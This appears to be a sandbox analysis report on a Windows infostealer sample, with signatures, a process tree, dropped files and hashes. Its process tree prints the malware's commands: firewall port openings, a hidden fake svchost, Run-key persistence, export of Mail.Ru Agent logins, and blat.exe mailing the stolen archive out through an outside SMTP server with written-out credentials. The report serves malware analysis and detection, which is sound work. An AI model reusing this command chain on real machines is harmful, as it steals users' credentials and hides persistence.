Analysis

  • max time kernel
    148s
  • max time network
    125s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/09/2026, 23:43

General

  • Target
    jaffacakes118_ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8.exe
  • Size 862KB
  • Sample260925-3qtm3szalg
  • SHA256 ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes a file named after a Windows system binary 1 TTPs 2 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

  • Executes dropped EXE 9 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 18 IoCs
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs .reg file with regedit 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8.exe
    "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8.exe"
    1⤵
    • Executes a file named after a Windows system binary
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4264
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6855.tmp\install.bat" "
      2⤵
      • Executes a file named after a Windows system binary
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4756
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall add portopening tcp 4899 win
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:4636
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall add portopening tcp 57011 system
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:240
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r "C:\Windows\system32\win\svchost.exe"
        3⤵
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:236
      • C:\Windows\SysWOW64\regedit.exe
        regedit /s raka.reg
        3⤵
        • System Location Discovery: System Language Discovery
        • Runs .reg file with regedit
        PID:4572
      • C:\Windows\SysWOW64\win\svchost.exe
        "C:\Windows\system32\win\svchost.exe" /install /silence
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:6064
      • C:\Windows\SysWOW64\win\svchost.exe
        "C:\Windows\system32\win\svchost.exe" /start
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2484
      • C:\Windows\SysWOW64\draiver\ler.exe
        ler.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6096
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A4B2.tmp\ler.bat" "
          4⤵
          • Drops file in System32 directory
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2144
          • C:\Windows\SysWOW64\draiver\blat.exe
            "C:\Windows\system32\draiver\blat.exe" -install -server smtp.yandex.ru -port 587 -f [email protected] -u super.siteedit -pw 5255251
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4712
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /all
            5⤵
            • System Location Discovery: System Language Discovery
            • Gathers network information
            PID:2700
          • C:\Windows\SysWOW64\findstr.exe
            findstr "IP" C:\Windows\system32\draiver\ip1.txt
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1832
          • C:\Windows\SysWOW64\draiver\blat.exe
            "C:\Windows\system32\draiver\blat.exe" "C:\Windows\system32\draiver\1.txt" -to [email protected]
            5⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            PID:3184
          • C:\Windows\SysWOW64\reg.exe
            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "windows.exe" /t REG_SZ /d " C:\Windows\system32\draiver\ler.exe
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry key
            PID:1224
      • C:\Windows\SysWOW64\draiver\dan.exe
        dan.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5936
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A4D1.tmp\dan.bat" "
          4⤵
          • Drops file in System32 directory
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2480
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /f /im opera.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1548
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /f /im firefox.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5748
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /f /im chrome.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1420
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /f /im iexplore.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3880
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /f /im magent.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:6032
          • C:\Windows\SysWOW64\attrib.exe
            attrib C:\pass +h +s +a +r
            5⤵
            • Sets file to hidden
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:5324
          • C:\Windows\SysWOW64\regedit.exe
            regedit.exe -ea C:\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2
            5⤵
            • System Location Discovery: System Language Discovery
            • Runs .reg file with regedit
            PID:3908
          • C:\Windows\SysWOW64\regedit.exe
            regedit.exe -ea C:\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3
            5⤵
            • System Location Discovery: System Language Discovery
            • Runs .reg file with regedit
            PID:2544
          • C:\Windows\SysWOW64\xcopy.exe
            Xcopy Mra\Base C:\pass\MailAgent /K /H /G /Q /R /S /Y /E
            5⤵
            • System Location Discovery: System Language Discovery
            • Enumerates system info in registry
            PID:3456
          • C:\Windows\SysWOW64\xcopy.exe
            Xcopy Mra\Update\ver.txt C:\pass\MailAgent /K /H /G /Q /R /S /Y
            5⤵
            • System Location Discovery: System Language Discovery
            • Enumerates system info in registry
            PID:3280
          • C:\pass\Rar.exe
            C:\pass\rar.exe a -r C:\pass\pass.rar C:\pass\
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1860
          • C:\Windows\SysWOW64\draiver\blat.exe
            blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u super.siteedit -pw 5255251
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3408
          • C:\Windows\SysWOW64\draiver\blat.exe
            blat.exe -body Surpriz=) -to [email protected] -attach pass.rar
            5⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            PID:3708

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        Rar.exe

        • Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\Rar.exe
        • Size 368KB
        • SHA256 4c84ef94ac95976b5c048e517cabf67af6daf64a8711fb57a9129ef5f78d1154
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blat.dll

        • Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\blat.dll
        • Size 120KB
        • SHA256 b87814eaf1cd5268e797f1119b58e3fd79381af3f530be9a90993198cbce1779
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blat.exe

        • Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\blat.exe
        • Size 112KB
        • SHA256 aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blat.lib

        • Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\blat.lib
        • Size 2KB
        • SHA256 b545194041588fc0a6f57e7eb5a93d2418aaa263d246e3c696a79ee5859770ff
        • MD5 SHA1 SHA512 TLSH

        dan.exe

        • Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\dan.exe
        • Size 21KB
        • SHA256 4b355dae427de687c413d78074af7ef8a225815f2912699024c76ad345fd60e8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        install.bat

        • Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\install.bat
        • Size 967B
        • SHA256 df9f5663abda0afbb76fb25f0b7f0725de8fc3293f48136eaefb15c8d30289ed
        • MD5 SHA1 SHA512 TLSH

        ler.exe

        • Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\ler.exe
        • Size 21KB
        • SHA256 18303f6ecf28f9cb90ce2f80f131d418b7ad46a12d0a9ba450a14bcd5475abb3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        svchost.exe

        • Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\svchost.exe
        • Size 180KB
        • SHA256 21fe5d2cf5bdce8f9d39475d40d6af47f5994ad4a8699aeeb8eacf831c2b66a5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ler.bat

        • Path C:\Users\Admin\AppData\Local\Temp\A4B2.tmp\ler.bat
        • Size 697B
        • SHA256 fa978dd31a95010e56f290dfb7bd3fb6e6c397629f515cb8b5f9acc74c7e4656
        • MD5 SHA1 SHA512 TLSH

        dan.bat

        • Path C:\Users\Admin\AppData\Local\Temp\A4D1.tmp\dan.bat
        • Size 1KB
        • SHA256 73f268cfef793c66ff28335656b4058f790070ef452e14dc31b77b0e29c0f4d8
        • MD5 SHA1 SHA512 TLSH

        1.txt

        • Path C:\Windows\SysWOW64\draiver\1.txt
        • Size 225B
        • SHA256 8fe0a163f5baf9530ba97026de02614ba29290aefc3e1783559c76e1bf044397
        • MD5 SHA1 SHA512 TLSH

        ip1.txt

        • Path C:\Windows\SysWOW64\draiver\ip1.txt
        • Size 1022B
        • SHA256 e38fc9ee7615bc4667ffe19b589ddb6c367ce430b8cd59cb6c840e84d2e77f42
        • MD5 SHA1 SHA512 TLSH

        pass.rar

        • Path C:\pass\pass.rar
        • Size 179KB
        • SHA256 53782638dc6bf36f23f9c3a271dd3e35faf3d4f7ddc49ffe014dc06b25e139c3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4264-32-0x000000000040A000-0x000000000040B000-memory.dmp

        memory/4264-0-0x000000000040A000-0x000000000040B000-memory.dmp

        memory/5936-37-0x0000000000400000-0x0000000000410000-memory.dmp

        memory/5936-62-0x0000000000400000-0x0000000000410000-memory.dmp

        memory/5936-70-0x0000000000400000-0x0000000000410000-memory.dmp

        memory/6096-34-0x0000000000400000-0x0000000000410000-memory.dmp

        memory/6096-60-0x0000000000400000-0x0000000000410000-memory.dmp